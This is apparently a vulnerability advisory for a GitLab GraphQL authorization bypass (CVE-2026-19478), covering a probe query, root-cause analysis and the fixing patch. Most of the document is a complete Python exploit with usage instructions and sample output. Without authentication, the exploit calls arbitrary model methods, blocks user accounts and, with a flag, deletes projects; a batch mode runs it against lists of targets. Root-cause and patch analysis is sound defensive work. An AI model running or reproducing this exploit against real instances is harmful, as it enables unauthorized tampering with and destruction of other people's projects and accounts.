#Summary

CVE-2026-19478 is a critical authentication bypass in GitLab Community Edition and Enterprise Edition affecting versions 18.2 through 19.2.3. An unauthenticated attacker can invoke arbitrary zero-argument Ruby methods on model objects through a GraphQL directive that smuggles unknown field names past schema validation. This enables modification or deletion of public projects and user data without credentials, resulting in complete loss of integrity and availability for any object the anonymous user can read. CVSS 9.4 CRITICAL.

#Am I affected?

#How to check

Run the following query against /api/graphql as an unauthenticated user:

POST /api/graphql
Content-Type: application/json

{"query":"query { echo(text: \"probe\") inspect @gl_introduced(version: \"99.9.9\") }"}
Response Verdict
{"data":{"echo":"nil says: probe","inspect":true}} Vulnerable - the synthesized field dispatched as a method call
{"data":{"echo":"nil says: probe","inspect":null}} Patched - fallback resolver returns nil
Field 'inspect' doesn't exist on type 'Query' Unaffected - older GitLab without the version-filter feature

#Fix and mitigation

#Root cause analysis

#The version-filter mechanism

GitLab supports rolling deploys where a newer frontend is served by an older backend. To prevent newer GraphQL queries from failing schema validation against an older server, GitLab introduced the @gl_introduced(version:) directive. A client marks a field with the GitLab version that introduced it, and an older backend silently skips the field validation instead of rejecting the query.

The mechanism consists of three parts:

  1. The directive (lib/gitlab/graphql/version_filter/introduced_directive.rb) is registered unconditionally on the schema and is valid on FIELD and INLINE_FRAGMENT locations.

  2. The tracer (lib/gitlab/graphql/version_filter/introduced_tracer.rb) hooks parsing and execution. It parses the query, runs a visitor that deletes every node carrying @gl_introduced(version: V) where V exceeds the running instance version, and returns that filtered document for validation. Then, at execution time, it swaps the original, unfiltered document back and re-prepares the AST. This means validation and execution see two different documents.

  3. The fallback field (lib/gitlab/graphql/version_filter/future_field_fallback.rb) is included into Types::BaseObject, so it applies to every object type. When a field is not found, instead of erroring, it synthesizes a bare GraphQL::Schema::Field with fallback_value: nil and no resolver_class.

#Vulnerable code path

The vulnerability arises because fallback_value is not consulted before method dispatch. In graphql-ruby's Field#resolve (version 2.6.3, used by GitLab 19.2), the dispatch order is:

# Simplified from graphql-ruby Field#resolve
if obj.respond_to?(resolver_method)
  obj.public_send(resolver_method)
elsif inner_object.respond_to?(@method_sym)
  method_to_call = @method_sym
  method_receiver = obj.object
  inner_object.public_send(@method_sym)
else
  # only NOW is fallback_value checked
  @fallback_value

The field name becomes @method_sym verbatim without underscoring. So a synthesized field named destroy on a Project type resolves by calling project.destroy().

#Authorization layers lost

GitLab's Types::BaseField class defines authorized? to check field-level permissions:

def authorized?(object, args, ctx)
  field_authorized?(object, args, ctx) && resolver_authorized?(object, ctx)
end

However, the synthesized field is a plain GraphQL::Schema::Field, not a Types::BaseField. So the gem's own permissive authorized? runs instead, which with no resolver class and no declared arguments returns true unconditionally. Every field-level authorize :some_ability check is skipped.

Type-level authorization survives, which is why the attack is constrained to objects the anonymous user may already read - a public project satisfies :read_project, a public user profile satisfies :read_user, and the root Query type requires no object lookup at all.

#Patch diff

The fix, in commit e283c6adeb3d7c69967c830d85bb6d47004660f5, is two lines in lib/gitlab/graphql/version_filter/future_field_fallback.rb:

@@ -30,8 +30,7 @@ def fallback_field(name:)
          GraphQL::Schema::Field.new(
            owner: self,
            name: name,
-           type: GraphQL::Types::Boolean,
-           fallback_value: nil
+           resolver_class: Resolvers::NilResolver
          )
        end

plus a new resolver in app/graphql/resolvers/nil_resolver.rb:

module Resolvers
  class NilResolver < BaseResolver
    type ::GraphQL::Types::Boolean, null: true
    description 'Returns nil. Used to resolve the value of missing fields with the @gl_introduced directive.'

    def resolve
      nil
    end
  end
end

#What the fix does

By providing an explicit resolver_class, the resolver is consulted before any method dispatch. The gem replaces the target object with the resolver instance and calls resolve, which returns nil unconditionally. The attacker-supplied field name is only a response key, never a method name. Type-level authorization still works normally, but the model object is never touched, so no Ruby method can be invoked.

#Proof of concept

#exploit.py - GitLab GraphQL Auth Bypass PoC

#!/usr/bin/env python3
"""
CVE-2026-19478 - GitLab GraphQL @gl_introduced directive authorization bypass
Affected: GitLab CE/EE 18.2-18.11.10, 19.0-19.0.7, 19.1-19.1.5, 19.2-19.2.3
Type: Auth bypass (unauthenticated arbitrary zero-arity Ruby method invocation)

GitLab's `@gl_introduced(version:)` directive lets a newer frontend name fields an
older backend does not have. The tracer validates a document with those fields
deleted, then executes the original document, so an unknown field name reaches the
executor. The fallback field GitLab synthesizes for it has no resolver_class, and
graphql-ruby dispatches a resolver-less field by calling the same-named method on
the underlying model - before any field-level authorization runs. On a public
project or a user reachable from one, an anonymous caller therefore invokes an
arbitrary zero-argument, non-bang public Ruby method: touch, block, destroy.

No credentials, no cookie, no token, no CSRF header at any point.

Usage:
  python exploit.py --host gitlab.corp.com
  python exploit.py --host https://gitlab.corp.com --project group/public-repo
  python exploit.py --host 192.168.1.10 --port 8080 --method touch
  python exploit.py --host https://gitlab.corp.com/gitlab --username jdoe
  python exploit.py --host https://gitlab.corp.com --project group/repo --destroy
  python exploit.py --list targets.txt --workers 20

By default the exploit is reversible: it invokes `touch` on the target project and
blocks then re-activates a reachable user account. Irreversible destruction of the
project happens only when --destroy is passed explicitly.
"""

import argparse
import json
import re
import ssl
import sys
import time
import urllib.error
import urllib.parse
import urllib.request

CVE_ID    = "CVE-2026-19478"
VULN_TYPE = "Auth Bypass"

# Beats every real GitLab version, so the directive always marks the field as
# "from the future" and no version fingerprinting of the target is needed.
FUTURE_VERSION = "99.9.9"

# A synthesized field name is used verbatim as a Ruby method name and must also be
# a legal GraphQL name. Methods ending in ! or ? are therefore out of reach.
NAME_RE = re.compile(r"^[_A-Za-z][_0-9A-Za-z]*$")

UA = ("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 "
      "(KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36")


def header(host: str, port: int) -> None:
    print(f"\n{'='*60}")
    print(f"  ALIM EXPLOIT  {CVE_ID}")
    print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
    print(f"{'='*60}\n")


def step(n: int, msg: str) -> None:
    print(f"[STEP {n}] {msg}")


def section(label: str, content: str) -> None:
    print(f"\n--- {label} ---")
    print(str(content).strip())
    print("---\n")


def done(success: bool, evidence: str) -> None:
    print(f"\n{'='*60}")
    print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
    print(f"  EVIDENCE: {evidence}")
    print(f"{'='*60}\n")
    sys.exit(0 if success else 1)


# --------------------------------------------------------------------------
# transport
# --------------------------------------------------------------------------

class Target:
    """One GitLab instance, addressed purely over the network."""

    def __init__(self, host, port, use_tls, base_path="/", timeout=30, insecure=False):
        self.host = host
        self.port = port
        self.use_tls = use_tls
        self.base = "/" + base_path.strip("/") if base_path.strip("/") else ""
        self.timeout = timeout
        self.ctx = None
        if use_tls and insecure:
            self.ctx = ssl.create_default_context()
            self.ctx.check_hostname = False
            self.ctx.verify_mode = ssl.CERT_NONE

    def url(self, suffix: str) -> str:
        scheme = "https" if self.use_tls else "http"
        netloc = self.host if ":" in self.host else f"{self.host}:{self.port}"
        return f"{scheme}://{netloc}{self.base}{suffix}"

    def _request(self, suffix, data=None, timeout=None):
        """Returns (status, body_text). Never raises: a transport failure comes back
        as status 0 with the reason in the body, so every caller can report it."""
        url = self.url(suffix)
        headers = {"Accept": "application/json", "User-Agent": UA}
        if data is not None:
            headers["Content-Type"] = "application/json"
        req = urllib.request.Request(url, data=data, headers=headers, method="POST" if data else "GET")
        try:
            with urllib.request.urlopen(req, timeout=timeout or self.timeout, context=self.ctx) as r:
                return r.status, r.read().decode("utf-8", "replace")
        except urllib.error.HTTPError as e:
            try:
                return e.code, e.read().decode("utf-8", "replace")
            except Exception:
                return e.code, ""
        except urllib.error.URLError as e:
            return 0, f"transport error: {e.reason}"
        except TimeoutError:
            return 0, f"transport error: timed out after {timeout or self.timeout}s"
        except (OSError, ValueError) as e:
            return 0, f"transport error: {e.__class__.__name__}: {e}"

    def graphql(self, query: str, timeout=None):
        """POST a GraphQL query anonymously. Returns (status, parsed_or_None, raw)."""
        body = json.dumps({"query": query}).encode()
        status, raw = self._request("/api/graphql", data=body, timeout=timeout)
        try:
            return status, json.loads(raw), raw
        except ValueError:
            return status, None, raw

    def rest(self, suffix: str):
        status, raw = self._request(suffix)
        try:
            return status, json.loads(raw), raw
        except ValueError:
            return status, None, raw


def _gql_str(value: str) -> str:
    """Embed a Python string as a GraphQL string literal (JSON syntax is a subset)."""
    return json.dumps(value)


def _future(name: str) -> str:
    """A selection that smuggles `name` past validation and into method dispatch."""
    return f'{name} @gl_introduced(version: {_gql_str(FUTURE_VERSION)})'


def _dig(obj, *keys):
    for k in keys:
        if not isinstance(obj, dict):
            return None
        obj = obj.get(k)
    return obj


def _errmsg(parsed) -> str:
    errs = (parsed or {}).get("errors") or []
    return "; ".join(str(e.get("message", e)) for e in errs) if errs else ""


# --------------------------------------------------------------------------
# primitives
# --------------------------------------------------------------------------

def probe_dispatch(t: Target):
    """Rung 1+2: smuggle an unknown field past validation and confirm the server
    dispatched it as a method call. Zero side effects - `inspect` only reads.

    Returns (verdict, detail) where verdict is True (vulnerable), False (patched or
    not affected) or None (could not reach a working GraphQL endpoint).

    `echo` is a real, anonymously readable root field. It is needed because the
    directive deletes its own node from the document that gets validated, so a
    lone future field would validate as a selection set with nothing in it. The
    nonce it echoes back also proves the response came from this request.
    """
    nonce = "%x" % (int(time.time() * 1000) & 0xFFFFFFFF)
    q = 'query { echo(text: %s) %s }' % (_gql_str(nonce), _future("inspect"))
    status, parsed, raw = t.graphql(q)

    if status == 0:
        return None, raw
    if parsed is None:
        return None, f"HTTP {status}, non-JSON response ({raw[:80].strip()!r})"
    if nonce not in (_dig(parsed, "data", "echo") or ""):
        err = _errmsg(parsed)
        return None, f"HTTP {status}, GraphQL endpoint did not answer ({err or raw[:120]})"

    value = _dig(parsed, "data", "inspect")
    if value is True:
        return True, "root Query dispatched Object#inspect -> true"
    if value is None:
        return False, "synthesized field resolved to null - fallback field is inert (patched)"
    return False, f"unexpected value for synthesized field: {value!r}"


def control_no_directive(t: Target):
    """Negative control: the same unknown field without the directive must be
    rejected by schema validation. Proves the directive is what smuggles it in."""
    q = 'query { echo(text: "0") inspect }'
    _, parsed, raw = t.graphql(q)
    return _errmsg(parsed) or raw[:200]


def find_public_project(t: Target):
    """Locate an anonymously readable project. Unauthenticated REST listing."""
    status, parsed, raw = t.rest("/api/v4/projects?visibility=public&simple=true&per_page=20&order_by=id&sort=asc")
    if status == 0:
        return None, raw
    if status != 200 or not isinstance(parsed, list):
        return None, f"HTTP {status} from the public project listing"
    for p in parsed:
        path = p.get("path_with_namespace")
        if path:
            return path, f"{len(parsed)} public project(s) listed, using {path}"
    return None, "public project listing was empty"


def read_project(t: Target, path: str):
    q = 'query { project(fullPath: %s) { id name updatedAt archived } }' % _gql_str(path)
    _, parsed, raw = t.graphql(q)
    return _dig(parsed, "data", "project"), (_errmsg(parsed) or raw[:200])


def invoke_on_project(t: Target, path: str, method: str, timeout=None):
    """Invoke a zero-arity Ruby method on the Project model behind a public project."""
    q = 'query { project(fullPath: %s) { id %s } }' % (_gql_str(path), _future(method))
    status, parsed, raw = t.graphql(q, timeout=timeout)
    return _dig(parsed, "data", "project", method), (_errmsg(parsed) or ""), raw


def read_authors(t: Target, path: str):
    """Users reachable anonymously through the issues of a public project.

    The root-level `user` field runs through a resolver that rejects callers with
    no session, so the issue author is the reachable User object.
    """
    q = ('query { project(fullPath: %s) { issues(first: 20) '
         '{ nodes { iid author { username state } } } } }') % _gql_str(path)
    _, parsed, raw = t.graphql(q)
    nodes = _dig(parsed, "data", "project", "issues", "nodes") or []
    out = []
    for n in nodes:
        a = n.get("author") or {}
        if a.get("username") and not any(x["username"] == a["username"] for x in out):
            out.append({"username": a["username"], "state": a.get("state"), "iid": n.get("iid")})
    err = _errmsg(parsed)
    if not out and not err:
        err = "no issue authors in the response: " + raw[:200]
    return out, err


def invoke_on_author(t: Target, path: str, method: str):
    """Invoke a zero-arity method on every User object reachable as an issue author."""
    q = ('query { project(fullPath: %s) { issues(first: 20) '
         '{ nodes { author { username %s } } } } }') % (_gql_str(path), _future(method))
    _, parsed, raw = t.graphql(q)
    nodes = _dig(parsed, "data", "project", "issues", "nodes") or []
    out = {}
    for n in nodes:
        a = n.get("author") or {}
        if a.get("username"):
            out[a["username"]] = a.get(method)
    return out, (_errmsg(parsed) or ""), raw


# --------------------------------------------------------------------------
# scan mode
# --------------------------------------------------------------------------

def _try_exploit(host: str, port: int, use_tls: bool, path: str = "/",
                 timeout: int = 15, insecure: bool = False) -> tuple:
    """Silent probe for --list. One request, read-only, never prints or exits."""
    try:
        t = Target(host, port, use_tls, path, timeout=timeout, insecure=insecure)
        verdict, detail = probe_dispatch(t)
        if verdict is True:
            return True, "unauthenticated method dispatch confirmed - " + detail
        if verdict is False:
            return False, detail
        return False, detail
    except Exception as e:
        return False, f"unreachable ({e.__class__.__name__})"


def _parse_target(line: str, default_port: int, default_path: str = "/"):
    """One target line -> (host, port, use_tls, path), or None to skip."""
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urllib.parse.urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def scan(targets_file: str, default_port: int, workers: int = 10,
         timeout: int = 15, insecure: bool = False) -> None:
    import concurrent.futures

    with open(targets_file) as f:
        targets = [_parse_target(l, default_port) for l in f]
    targets = [t for t in targets if t is not None]

    print(f"\n{'='*60}")
    print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
    print(f"{'='*60}\n")

    success_count = 0

    def probe(t):
        host, port, use_tls, path = t
        label = f"{'https' if use_tls else 'http'}://{host}:{port}"
        ok, evidence = _try_exploit(host, port, use_tls, path, timeout, insecure)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            print(f"  {'[+]' if ok else '[-]'} {label} - {'Exploited' if ok else 'Not vulnerable'}: {evidence}")
            if ok:
                success_count += 1

    total = len(targets)
    print(f"\n{'='*60}")
    print(f"  SCAN COMPLETE  {success_count} exploited / {total - success_count} not vulnerable  ({total} total)")
    print(f"{'='*60}\n")
    sys.exit(0 if success_count > 0 else 1)


# --------------------------------------------------------------------------
# single target
# --------------------------------------------------------------------------

def exploit(host, port, use_tls, path, project, method, username,
            destroy, no_restore, timeout, insecure) -> None:
    header(host, port)
    t = Target(host, port, use_tls, path, timeout=timeout, insecure=insecure)
    reached = []

    for name in (method, username):
        if name and not NAME_RE.match(name):
            done(False, f"'{name}' is not a legal GraphQL name - the primitive cannot express "
                        "it (methods ending in ! or ? are unreachable)")

    step(1, f"Probing {t.url('/api/graphql')} anonymously - no session, no token")
    verdict, detail = probe_dispatch(t)
    if verdict is None:
        section("ENDPOINT RESPONSE", detail)
        done(False, f"No usable GraphQL endpoint at {t.url('/api/graphql')} - {detail}")
    section("DISPATCH PROBE", f'query {{ echo(text: "...") inspect @gl_introduced(version: "{FUTURE_VERSION}") }}\n-> {detail}')
    if verdict is False:
        section("NEGATIVE CONTROL (same field, no directive)", control_no_directive(t))
        done(False, "Synthesized field returned null - target resolves fallback fields "
                    "through a nil resolver and is patched against " + CVE_ID)
    reached.append("rung 2: arbitrary method dispatch on the root Query type")

    step(2, "Negative control - same unknown field without the directive must not validate")
    section("VALIDATION ERROR (expected)", control_no_directive(t))

    step(3, "Locating an anonymously readable project")
    if project:
        note = f"using operator-supplied path {project}"
    else:
        project, note = find_public_project(t)
    if not project:
        section("TARGET DISCOVERY", note)
        done(True, "Unauthenticated arbitrary method dispatch confirmed (" + detail +
                   ") but no anonymously readable project was found to act on - "
                   "pass --project to name one")
    info, err = read_project(t, project)
    if not info:
        section("TARGET DISCOVERY", f"{note}\nproject({project}) -> null  {err}")
        done(True, "Unauthenticated arbitrary method dispatch confirmed (" + detail +
                   f") but project '{project}' is not anonymously readable")
    section("TARGET PROJECT", f"{note}\n{json.dumps(info, indent=2)}")
    reached.append("rung 3: a privileged model object in reach")
    before = info.get("updatedAt")

    step(4, f"Unauthenticated write - invoking {method}() on the Project model")
    value, err, raw = invoke_on_project(t, project, method)
    after = None
    if value is True:
        for _ in range(2):
            fresh, _e = read_project(t, project)
            after = (fresh or {}).get("updatedAt")
            if after and after != before:
                break
            time.sleep(1.2)
    section("WRITE RESULT",
            f"query {{ project(fullPath: {_gql_str(project)}) {{ id {_future(method)} }} }}\n"
            f"-> {method} = {value!r}   errors: {err or 'none'}\n"
            f"updatedAt before: {before}\n"
            f"updatedAt after : {after if after else '(not re-read - dispatch did not return true)'}")
    wrote = bool(value is True and after and after != before)
    if wrote:
        reached.append(f"rung 4: unauthenticated write - {method}() moved updatedAt {before} -> {after}")
    elif value is True:
        reached.append(f"rung 4: unauthenticated dispatch of {method}() on the Project model returned true")

    step(5, "Unauthenticated user-data modification - blocking a reachable account")
    authors, err = read_authors(t, project)
    picked = [a for a in authors if not username or a["username"] == username]
    if not picked:
        section("REACHABLE USERS",
                f"issue authors on {project}: {[a['username'] for a in authors] or 'none'}"
                + (f"\nno author matches --username {username}" if username else "")
                + (f"\n{err}" if err else ""))
    else:
        target_user = picked[0]
        section("REACHABLE USERS",
                f"issue authors on {project}: "
                + ", ".join(f"{a['username']} (state={a['state']})" for a in authors)
                + f"\nacting on: {target_user['username']}")
        blocked, berr, _raw = invoke_on_author(t, project, "block")
        time.sleep(0.5)
        post, _e = read_authors(t, project)
        states = {a["username"]: a["state"] for a in post}
        changed = [u for u, s in states.items()
                   if s == "blocked" and any(a["username"] == u and a["state"] != "blocked" for a in authors)]
        section("USER STATE CHANGE",
                f"block -> {json.dumps(blocked)}   errors: {berr or 'none'}\n"
                f"state before: {json.dumps({a['username']: a['state'] for a in authors})}\n"
                f"state after : {json.dumps(states)}")
        if changed:
            reached.append("rung 4: unauthenticated account block - "
                           + ", ".join(f"{u} active -> blocked" for u in changed))
            if no_restore:
                print("[!] --no-restore given: leaving " + ", ".join(changed) + " blocked")
            else:
                step(6, "Restoring the account state - the block above is reversible")
                invoke_on_author(t, project, "activate")
                time.sleep(0.5)
                restored, _e = read_authors(t, project)
                section("RESTORED", json.dumps({a["username"]: a["state"] for a in restored}))

    if destroy:
        step(7, f"Destruction - invoking destroy() on project '{project}'")
        value, err, raw = invoke_on_project(t, project, "destroy", timeout=max(timeout, 120))
        time.sleep(2)
        gone_gql, gerr = read_project(t, project)
        rest_status, _p, _r = t.rest("/api/v4/projects/" + urllib.parse.quote(project, safe=""))
        section("DESTRUCTION RESULT",
                f"query {{ project(fullPath: {_gql_str(project)}) {{ id {_future('destroy')} }} }}\n"
                f"-> destroy = {value!r}   errors: {err or 'none'}\n\n"
                f"verification 1 - GraphQL project(fullPath: {_gql_str(project)}) -> "
                f"{'null' if gone_gql is None else json.dumps(gone_gql)}\n"
                f"verification 2 - REST GET /api/v4/projects/{urllib.parse.quote(project, safe='')} -> "
                f"HTTP {rest_status}")
        if gone_gql is None and rest_status == 404:
            reached.append(f"rung 5: project '{project}' destroyed - GraphQL returns null and REST returns 404")
        else:
            reached.append(f"rung 5 attempted - destroy() returned {value!r}; project still readable "
                           f"(GraphQL {'null' if gone_gql is None else 'present'}, REST {rest_status})")

    section("PRIMITIVE LADDER REACHED", "\n".join(f"* {r}" for r in reached))
    done(True, "Unauthenticated authorization bypass confirmed - " + reached[-1])


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://gitlab.corp.com/gitlab)")
    target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
    parser.add_argument("--port", type=int, default=80, help="Default port (default: 80)")
    parser.add_argument("--username", default="",
                        help="Account to act on, matched against the issue authors reachable on the "
                             "target project (default: the first author found)")
    parser.add_argument("--project", default="",
                        help="Full path of an anonymously readable project, e.g. group/repo "
                             "(default: discover one via the public project listing)")
    parser.add_argument("--method", default="touch",
                        help="Zero-arity Ruby method to invoke on the Project model (default: touch)")
    parser.add_argument("--destroy", action="store_true",
                        help="Also invoke destroy() on the target project - IRREVERSIBLE")
    parser.add_argument("--no-restore", action="store_true",
                        help="Leave the blocked account blocked instead of re-activating it")
    parser.add_argument("--timeout", type=int, default=30, help="HTTP timeout in seconds (default: 30)")
    parser.add_argument("--insecure", action="store_true", help="Skip TLS certificate verification")
    parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
    args = parser.parse_args()

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers,
             timeout=args.timeout, insecure=args.insecure)
    else:
        parsed = _parse_target(args.host, args.port)
        host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
        if args.tls:
            use_tls = True
        if args.no_tls:
            use_tls = False
        exploit(host, port, use_tls, path, args.project, args.method, args.username,
                args.destroy, args.no_restore, args.timeout, args.insecure)

#Usage

python exploit.py --host gitlab.corp.com
python exploit.py --host https://gitlab.corp.com --insecure
python exploit.py --host 10.20.30.40 --port 8080 --project platform/docs --username jdoe
python exploit.py --host https://intranet.example/gitlab
python exploit.py --host 10.20.30.40 --method touch
python exploit.py --list targets.txt --workers 20
Argument Default Meaning
--host required Hostname, IP, or full URL. https://gitlab.corp.com or https://host/gitlab for relative-URL install.
--list FILE - File with one target per line for batch scan instead of --host.
--port 80 Port used when target is a bare hostname.
--project auto-discover Full path of an anonymously readable project (e.g. group/repo). Discovered via public listing if omitted.
--method touch Zero-arity Ruby method to invoke on the Project model. Bang and predicate methods are unreachable.
--username first found Account to act on, matched against issue authors on the target project.
--destroy off Also invoke destroy() on the project - irreversible.
--no-restore off Leave the blocked account blocked. Default is to restore it after the test.
--timeout 30 HTTP timeout in seconds. Raise for --destroy, which runs GitLab's full callback chain.
--insecure off Skip TLS certificate verification for self-signed certificates.
--tls / --no-tls auto Force or disable TLS. Auto-detects from hostname or port.
--workers 10 Worker threads for --list mode.

Exit code is 0 when the target is vulnerable, 1 when patched or unreachable.

Expected output - vulnerable instance:

[STEP 1] Probing http://target/api/graphql anonymously - no session, no token

--- DISPATCH PROBE ---
query { echo(text: "...") inspect @gl_introduced(version: "99.9.9") }
-> root Query dispatched Object#inspect -> true
---

[STEP 4] Unauthenticated write - invoking touch() on the Project model

--- WRITE RESULT ---
-> touch = True   errors: none
updatedAt before: 2026-08-20T15:09:03Z
updatedAt after : 2026-08-20T15:09:15Z
---

  RESULT  : SUCCESS

Expected output - patched instance:

[STEP 1] Probing http://target/api/graphql anonymously - no session, no token

--- DISPATCH PROBE ---
-> synthesized field resolved to null - fallback field is inert (patched)
---

  RESULT  : FAILURE

#Exploitation notes

#Preconditions

  1. Unauthenticated POST access to /api/graphql on a reachable GitLab instance
  2. At least one publicly readable project or user profile exists on the instance
  3. The directive attribute must carry an implausibly high version (e.g. 99.9.9) to bypass version checks without fingerprinting
  4. The method name must be expressible in GraphQL (no ! or ? suffix) and must be zero-arity
  5. No other authentication or CSRF tokens required

#Reliability

Excellent. The probe requires a single read-only request with zero side effects. Method dispatch on real objects is instantaneous. The only reliability concern is destroy() on a Project, which runs GitLab's full dependent callback chain inline in the web request and may time out or raise a foreign-key violation partway through. The exploit defaults to the reversible touch method and gates destruction behind an explicit --destroy flag.

#Impact

#Chaining potential

This primitive reaches any Ruby method on any object the anonymous user can read. It does not lead to arbitrary code execution because the method invocation is constrained by the GraphQL type system and the argument signature. However, chaining with other vulnerabilities that allow method arguments or code injection is theoretically possible if the underlying model has dangerous methods that accept parameters.

#References